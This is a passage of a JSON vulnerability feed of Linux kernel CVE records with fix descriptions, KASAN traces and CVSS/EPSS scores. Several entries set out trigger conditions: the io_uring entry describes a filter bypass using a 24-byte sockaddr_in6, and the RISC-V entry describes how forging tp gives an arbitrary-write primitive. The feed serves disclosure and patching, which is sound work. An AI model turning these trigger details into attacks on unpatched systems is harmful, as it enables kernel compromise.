kernel/locking/spinlock.c:287\n   tipc_nl_node_set_link             net/tipc/node.c:2475\n   genl_family_rcv_msg_doit          net/netlink/genetlink.c:1114\n   genl_rcv_msg                      net/netlink/genetlink.c:1209\n   netlink_rcv_skb                   net/netlink/af_netlink.c:2575\n\n  Allocated by task 0:\n   tipc_node_create                  net/tipc/node.c:539\n   tipc_node_check_dest              net/tipc/node.c:1196\n   tipc_disc_rcv                     net/tipc/discover.c:252\n\n  Freed by task 92:\n   kfree                             mm/slub.c:6801\n   rcu_core                          kernel/rcu/tree.c:2919\n\n  Last potentially related work creation:\n   __call_rcu_common.constprop.0     kernel/rcu/tree.c:3181\n   tipc_node_timeout                 net/tipc/node.c:814\n\nAcquire a reference to the selected node with kref_get_unless_zero() before\nleaving RCU, returning NULL if the node has already been released.  Release\nthat reference on every caller exit after the last node access, including\ntransmission in L","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\ntipc: hold a reference to nodes found by link name\n\ntipc_node_find_by_name() returns a node after dropping its RCU read lock\nwithout taking a reference.  The LINK_SET, LINK_GET and LINK_RESET_STATS\nhandlers then lock and access the node, racing with timer-driven cleanup of\na down peer.  Generic netlink serialization does not exclude the node\ntimer.\n\nThe following interleaving can leave a handler using a freed node:\n\n  CPU 0: find the node under RCU and release the node read lock\n  CPU 1: tipc_node_timeout() clears the links and unlinks the down node\n  CPU 1: drop the list and timer references, queuing tipc_node_free()\n  CPU 0: leave the RCU read-side critical section\n  CPU 1: complete the grace period and free the node\n  CPU 0: acquire the node lock through the stale pointer\n\nLINK_SET also uses the node's media address after releasing the node lock,\nwhen passing queued packets to tipc_bearer_xmit().\n\nKASAN on v7.3-rc5 reported:\n\n  BUG: KASAN: slab-use-after-free in _raw_read_lock_bh\n  Write of size 4 at addr ffff88807e06f008 by task poc/92\n  Call Trace:\n   _raw_read_lock_bh                 kernel/locking/spinlock.c:287\n   tipc_nl_node_set_link             net/tipc/node.c:2475\n   genl_family_rcv_msg_doit          net/netlink/genetlink.c:1114\n   genl_rcv_msg                      net/netlink/genetlink.c:1209\n   netlink_rcv_skb                   net/netlink/af_netlink.c:2575\n\n  Allocated by task 0:\n   tipc_node_create                  net/tipc/node.c:539\n   tipc_node_check_dest              net/tipc/node.c:1196\n   tipc_disc_rcv                     net/tipc/discover.c:252\n\n  Freed by task 92:\n   kfree                             mm/slub.c:6801\n   rcu_core                          kernel/rcu/tree.c:2919\n\n  Last potentially related work creation:\n   __call_rcu_common.constprop.0     kernel/rcu/tree.c:3181\n   tipc_node_timeout                 net/tipc/node.c:814\n\nAcquire a reference to the selected node with kref_get_unless_zero() before\nleaving RCU, returning NULL if the node has already been released.  Release\nthat reference on every caller exit after the last node access, including\ntransmission in LINK_SET.  Keep the existing link lookup order and locking\nso concurrent link removal still takes the existing error paths.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:28.877Z","updatedAt":"2026-10-24T14:16:53.900Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-99053","asOf":"2026-10-24T14:16:53.900Z"},"epss":{"probability":0.0017,"percentile":0.06365,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-99053&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-99053","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-99053","type":"primary","publishedAt":"2026-10-23T13:17:28.877Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-99053&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-99053, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-99051","cveId":"CVE-2026-99051","aliases":[],"kind":"vulnerability","title":"Linux kernel: fsverity: RCU-delay the freeing of struct fsverity_info","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nfsverity: RCU-delay the freeing of struct fsverity_info\n\n__fsverity_get_info() calls rhashtable_lookup_fast(), which just uses\nrcu_read_lock() and doesn't directly synchronize with\nfsverity_remove_info().\n\nFor the same inode this isn't a problem: its fsverity_info is removed\nonly at inode eviction time or upon failure to enable verity, when the\ninode no longer needs its fsverity_info and it will no longer be\naccessed via that inode.\n\nHowever, this is broken and can cause a use-after-free for concurrent\n__fsverity_get_info() for *different* inodes.  Those rely on following\nfsverity_info::rhash_head in the rhashtable under rcu_read_lock() only.\nThey also use fsverity_info::inode to do the key comparison.\n\nFix this by RCU-delaying the freeing of 'struct fsverity_info' after\nit's been removed from the rhashtable.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nfsverity: RCU-delay the freeing of struct fsverity_info\n\n__fsverity_get_info() calls rhashtable_lookup_fast(), which just uses\nrcu_read_lock() and doesn't directly synchronize with\nfsverity_remove_info().\n\nFor the same inode this isn't a problem: its fsverity_info is removed\nonly at inode eviction time or upon failure to enable verity, when the\ninode no longer needs its fsverity_info and it will no longer be\naccessed via that inode.\n\nHowever, this is broken and can cause a use-after-free for concurrent\n__fsverity_get_info() for *different* inodes.  Those rely on following\nfsverity_info::rhash_head in the rhashtable under rcu_read_lock() only.\nThey also use fsverity_info::inode to do the key comparison.\n\nFix this by RCU-delaying the freeing of 'struct fsverity_info' after\nit's been removed from the rhashtable.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:28.633Z","updatedAt":"2026-10-24T14:16:53.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-99051","asOf":"2026-10-24T14:16:53.773Z"},"epss":{"probability":0.00153,"percentile":0.04363,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-99051&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-99051","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-99051","type":"primary","publishedAt":"2026-10-23T13:17:28.633Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-99051&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-99051, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-99050","cveId":"CVE-2026-99050","aliases":[],"kind":"vulnerability","title":"Linux kernel: gpio: mpsse: fix race when arming the IRQ poll worker","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\ngpio: mpsse: fix race when arming the IRQ poll worker\n\ngpio_mpsse_irq_enable() arms the poll worker before publishing it:\nschedule_work() runs before the worker is added to priv->workers. If\ngpio_mpsse_disconnect() walks the list in that window it misses the\nworker, and once disconnect returns, the USB core frees mpsse_priv\nwhile the orphaned gpio_mpsse_poll() work keeps accessing it, causing\na use-after-free.\n\nFix this by publishing and arming the worker in one irq_spin\ncritical section. Teardown walks the same list under irq_spin, so a\nworker found on the list is guaranteed to be armed, and\ncancel_work_sync() handles it whether it is queued or running.\n\nA worker armed after the disconnect walk would still be missed, so\nalso set a new priv->dying flag under irq_spin before the teardown\nwalk, and check it in the same critical section, freeing it via\nkfree_rcu() instead when the device is going away, since kfree()\nwould be called with the IRQ core's raw spinlock held and may sleep\non PREEMPT_RT. schedule_work() is safe to call with irq_spin held,\nand the next probe gets a fresh mpsse_priv, so the flag never needs\nto be cleared.\n\nThis issue was found by an in-house static analysis tool.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\ngpio: mpsse: fix race when arming the IRQ poll worker\n\ngpio_mpsse_irq_enable() arms the poll worker before publishing it:\nschedule_work() runs before the worker is added to priv->workers. If\ngpio_mpsse_disconnect() walks the list in that window it misses the\nworker, and once disconnect returns, the USB core frees mpsse_priv\nwhile the orphaned gpio_mpsse_poll() work keeps accessing it, causing\na use-after-free.\n\nFix this by publishing and arming the worker in one irq_spin\ncritical section. Teardown walks the same list under irq_spin, so a\nworker found on the list is guaranteed to be armed, and\ncancel_work_sync() handles it whether it is queued or running.\n\nA worker armed after the disconnect walk would still be missed, so\nalso set a new priv->dying flag under irq_spin before the teardown\nwalk, and check it in the same critical section, freeing it via\nkfree_rcu() instead when the device is going away, since kfree()\nwould be called with the IRQ core's raw spinlock held and may sleep\non PREEMPT_RT. schedule_work() is safe to call with irq_spin held,\nand the next probe gets a fresh mpsse_priv, so the flag never needs\nto be cleared.\n\nThis issue was found by an in-house static analysis tool.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:28.513Z","updatedAt":"2026-10-24T14:16:53.637Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-99050","asOf":"2026-10-24T14:16:53.637Z"},"epss":{"probability":0.00157,"percentile":0.04779,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-99050&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-99050","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-99050","type":"primary","publishedAt":"2026-10-23T13:17:28.513Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-99050&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-99050, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-99046","cveId":"CVE-2026-99046","aliases":[],"kind":"vulnerability","title":"Linux kernel: gve: fix XSK buffer leak on error descriptor","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\ngve: fix XSK buffer leak on error descriptor\n\nWhen the error bit is set in the RX completion descriptor, the buf_state\nand its attached buffer should be freed. In the case of AF_XDP ZC, the\nXSK buffer was not freed, leading to a leak.\n\nThis issue was caught by LLM.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\ngve: fix XSK buffer leak on error descriptor\n\nWhen the error bit is set in the RX completion descriptor, the buf_state\nand its attached buffer should be freed. In the case of AF_XDP ZC, the\nXSK buffer was not freed, leading to a leak.\n\nThis issue was caught by LLM.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:28.073Z","updatedAt":"2026-10-24T14:16:53.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-99046","asOf":"2026-10-24T14:16:53.497Z"},"epss":{"probability":0.00527,"percentile":0.44357,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-99046&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-99046","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-99046","type":"primary","publishedAt":"2026-10-23T13:17:28.073Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-99046&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-99046, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-99042","cveId":"CVE-2026-99042","aliases":[],"kind":"vulnerability","title":"Linux kernel: io_uring/net: populate CONNECT filter fields for 24-byte sockaddr_in6","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/net: populate CONNECT filter fields for 24-byte sockaddr_in6\n\nio_connect_bpf_populate() fills connect.port and connect.v6_addr for\nAF_INET6 only when addr_len >= sizeof(struct sockaddr_in6), i.e. 28\nbytes.\n\nThe IPv6 connect paths accept SIN6_LEN_RFC2133 (24 bytes), which\nalready holds sin6_port and sin6_addr. io_connect() passes addr_len to\nthe socket layer unchanged.\n\nAt addr_len 24 the filter sees family AF_INET6 with port and address\nzero, while the kernel connects to the real destination. A filter that\ndenies an IPv6 port or address is bypassed. Denying connect.port == P\nrejects [::1]:P with -EACCES at addr_len 28 but connects at addr_len 24.\n\nUse SIN6_LEN_RFC2133 as the threshold. sin6_scope_id stays zero when\nabsent.\n\nThe threshold mismatch was found by an AI coding assistant (Claude Code)\ncomparing this hook against the net/ipv6 length checks on my\ninstructions; it also drafted the reproducer and this patch. I verified\nthe bypass and the fix in a VM on 7.3-rc6 and that 7.2 has the same\ncode.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/net: populate CONNECT filter fields for 24-byte sockaddr_in6\n\nio_connect_bpf_populate() fills connect.port and connect.v6_addr for\nAF_INET6 only when addr_len >= sizeof(struct sockaddr_in6), i.e. 28\nbytes.\n\nThe IPv6 connect paths accept SIN6_LEN_RFC2133 (24 bytes), which\nalready holds sin6_port and sin6_addr. io_connect() passes addr_len to\nthe socket layer unchanged.\n\nAt addr_len 24 the filter sees family AF_INET6 with port and address\nzero, while the kernel connects to the real destination. A filter that\ndenies an IPv6 port or address is bypassed. Denying connect.port == P\nrejects [::1]:P with -EACCES at addr_len 28 but connects at addr_len 24.\n\nUse SIN6_LEN_RFC2133 as the threshold. sin6_scope_id stays zero when\nabsent.\n\nThe threshold mismatch was found by an AI coding assistant (Claude Code)\ncomparing this hook against the net/ipv6 length checks on my\ninstructions; it also drafted the reproducer and this patch. I verified\nthe bypass and the fix in a VM on 7.3-rc6 and that 7.2 has the same\ncode.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:27.610Z","updatedAt":"2026-10-24T14:16:53.347Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-99042","asOf":"2026-10-24T14:16:53.347Z"},"epss":{"probability":0.0016,"percentile":0.05148,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-99042&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-99042","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-99042","type":"primary","publishedAt":"2026-10-23T13:17:27.610Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-99042&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-99042, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-99032","cveId":"CVE-2026-99032","aliases":[],"kind":"vulnerability","title":"Linux kernel: net/smc: protect clcsock lifetime in smc_getname","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nnet/smc: protect clcsock lifetime in smc_getname\n\nsmc_getname() dereferences smc->clcsock without holding\nclcsock_release_lock. Link-group termination can release the CLC socket\nthrough smc_close_active_abort() while the SMC socket is still open,\nfor example after shutdown(SHUT_WR).\n\nA getsockname() caller can load smc->clcsock, then the termination worker\ncan clear the pointer and call sock_release() before the caller accesses\nclcsock->ops or invokes getname(). This causes a use-after-free; if the\nworker clears the pointer before the load, it causes a NULL dereference.\nThe syscall's file reference keeps the SMC socket alive but does not\nprevent asynchronous release of its CLC socket.\n\nKASAN reported the following with test-only timing instrumentation:\n\n  BUG: KASAN: slab-use-after-free in smc_getname+0x19e/0x1b0\n  Read of size 8 at addr ffff888109abb4e0 by task poc/103\n  Call Trace:\n   smc_getname+0x19e/0x1b0\n   do_getsockname+0xe5/0x170\n   __sys_getsockname+0x8c/0x100\n\n  Allocated by task 95:\n   sock_alloc_inode+0x1e/0x280\n   sock_alloc+0x3d/0x240\n   __sock_create+0x7e/0x430\n   smc_create+0x121/0x240\n\n  Freed by task 0:\n   kmem_cache_free+0xcc/0x340\n   rcu_core+0x50a/0x1850\n\n  Last potentially related work creation:\n   evict+0x446/0x6c0\n   smc_clcsock_release+0xa8/0xd0\n   smc_close_active_abort+0x26a/0x3a0\n   __smc_lgr_terminate.part.0+0x137/0x2e0\n\nHold clcsock_release_lock across the pointer check and the getname()\ncallback to serialize with smc_clcsock_release(). Return -EBADF if the\nCLC socket has already been released, preserving the existing peer\nstate check and the callback's return value otherwise.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nnet/smc: protect clcsock lifetime in smc_getname\n\nsmc_getname() dereferences smc->clcsock without holding\nclcsock_release_lock. Link-group termination can release the CLC socket\nthrough smc_close_active_abort() while the SMC socket is still open,\nfor example after shutdown(SHUT_WR).\n\nA getsockname() caller can load smc->clcsock, then the termination worker\ncan clear the pointer and call sock_release() before the caller accesses\nclcsock->ops or invokes getname(). This causes a use-after-free; if the\nworker clears the pointer before the load, it causes a NULL dereference.\nThe syscall's file reference keeps the SMC socket alive but does not\nprevent asynchronous release of its CLC socket.\n\nKASAN reported the following with test-only timing instrumentation:\n\n  BUG: KASAN: slab-use-after-free in smc_getname+0x19e/0x1b0\n  Read of size 8 at addr ffff888109abb4e0 by task poc/103\n  Call Trace:\n   smc_getname+0x19e/0x1b0\n   do_getsockname+0xe5/0x170\n   __sys_getsockname+0x8c/0x100\n\n  Allocated by task 95:\n   sock_alloc_inode+0x1e/0x280\n   sock_alloc+0x3d/0x240\n   __sock_create+0x7e/0x430\n   smc_create+0x121/0x240\n\n  Freed by task 0:\n   kmem_cache_free+0xcc/0x340\n   rcu_core+0x50a/0x1850\n\n  Last potentially related work creation:\n   evict+0x446/0x6c0\n   smc_clcsock_release+0xa8/0xd0\n   smc_close_active_abort+0x26a/0x3a0\n   __smc_lgr_terminate.part.0+0x137/0x2e0\n\nHold clcsock_release_lock across the pointer check and the getname()\ncallback to serialize with smc_clcsock_release(). Return -EBADF if the\nCLC socket has already been released, preserving the existing peer\nstate check and the callback's return value otherwise.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:26.310Z","updatedAt":"2026-10-24T14:16:53.197Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-99032","asOf":"2026-10-24T14:16:53.197Z"},"epss":{"probability":0.00159,"percentile":0.04977,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-99032&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-99032","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-99032","type":"primary","publishedAt":"2026-10-23T13:17:26.310Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-99032&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-99032, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-99030","cveId":"CVE-2026-99030","aliases":[],"kind":"vulnerability","title":"Linux kernel: net: skbuff: don't leave stale bytes in skb_copy_and_csum_bits()","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nnet: skbuff: don't leave stale bytes in skb_copy_and_csum_bits()\n\nWhen skb_copy_and_csum_bits() reaches unreadable frags it returns 0\nafter copying only the linear part, and the rest of the caller's buffer\nis left as it was.  The callers copy into a buffer that is about to go\nout on the wire: an ICMP error quoting the offending packet, or a\ndriver's TX bounce buffer in skb_copy_and_csum_dev().  Neither buffer\nis zeroed beforehand, so whatever was in memory there gets sent.\n\nZero the part of the buffer we didn't fill.  The checksum usually\nwon't match the data any more, so the receiver will usually drop the\npacket, but either way it no longer carries anything it shouldn't.\nOnly zero for a positive @len, a negative one from a broken caller must\nnot turn into a huge memset().","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nnet: skbuff: don't leave stale bytes in skb_copy_and_csum_bits()\n\nWhen skb_copy_and_csum_bits() reaches unreadable frags it returns 0\nafter copying only the linear part, and the rest of the caller's buffer\nis left as it was.  The callers copy into a buffer that is about to go\nout on the wire: an ICMP error quoting the offending packet, or a\ndriver's TX bounce buffer in skb_copy_and_csum_dev().  Neither buffer\nis zeroed beforehand, so whatever was in memory there gets sent.\n\nZero the part of the buffer we didn't fill.  The checksum usually\nwon't match the data any more, so the receiver will usually drop the\npacket, but either way it no longer carries anything it shouldn't.\nOnly zero for a positive @len, a negative one from a broken caller must\nnot turn into a huge memset().\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:26.077Z","updatedAt":"2026-10-24T14:16:53.063Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-99030","asOf":"2026-10-24T14:16:53.063Z"},"epss":{"probability":0.00455,"percentile":0.39226,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-99030&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-99030","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-99030","type":"primary","publishedAt":"2026-10-23T13:17:26.077Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-99030&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-99030, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-99018","cveId":"CVE-2026-99018","aliases":[],"kind":"vulnerability","title":"Linux kernel: riscv: entry: gate shadow call stack reload on sstatus.SPP, not tp","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nriscv: entry: gate shadow call stack reload on sstatus.SPP, not tp\n\nUnder CONFIG_SHADOW_CALL_STACK, handle_exception() reloads the kernel\nshadow call stack pointer (gp) only when the trap came from userspace.\nIt made that decision with scs_load_current_if_task_changed, which\ncompares the trap-time tp (read back from sscratch into s5) against the\ncurrent tp:\n\n\tbeq\t\\prev, tp, _skip_scs\n\tscs_load_current\n_skip_scs:\n\ntp is a user-writable register.  A user task that sets tp to the\nlinear-map address of its own task_struct (&current) before trapping\nmakes the comparison succeed (can achieve by brute force with KASLR\nenable under our test), so the kernel skips scs_load_current and\nkeeps running with the gp that userspace left in place.  Under\nCONFIG_SHADOW_CALL_STACK gp is the shadow call stack pointer and\nload_global_pointer is a no-op, so the compiler-emitted\n\"sd ra, -8(gp)\" / \"ld ra, -8(gp)\" in every non-leaf function then write\nto, and return through, an attacker-controlled address -- an\nunprivileged kernel arbitrary-write and control-flow-hijack primitive.\nThe poisoned gp is saved to task_struct.scs_sp on return, so the reload\nis skipped on every subsequent entry as well.\n\nDecide \"came from userspace\" from the hardware sstatus.SPP bit (already\nin s1 at this point) instead of from tp, mirroring the check that\nret_from_exception already uses a few instructions later.  SPP is\nwritten by hardware on trap entry and cannot be forged from U-mode.\nLegitimate behaviour is unchanged: user entries (SPP=0) reload the task\nshadow call stack, nested kernel entries (SPP=1) skip it.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nriscv: entry: gate shadow call stack reload on sstatus.SPP, not tp\n\nUnder CONFIG_SHADOW_CALL_STACK, handle_exception() reloads the kernel\nshadow call stack pointer (gp) only when the trap came from userspace.\nIt made that decision with 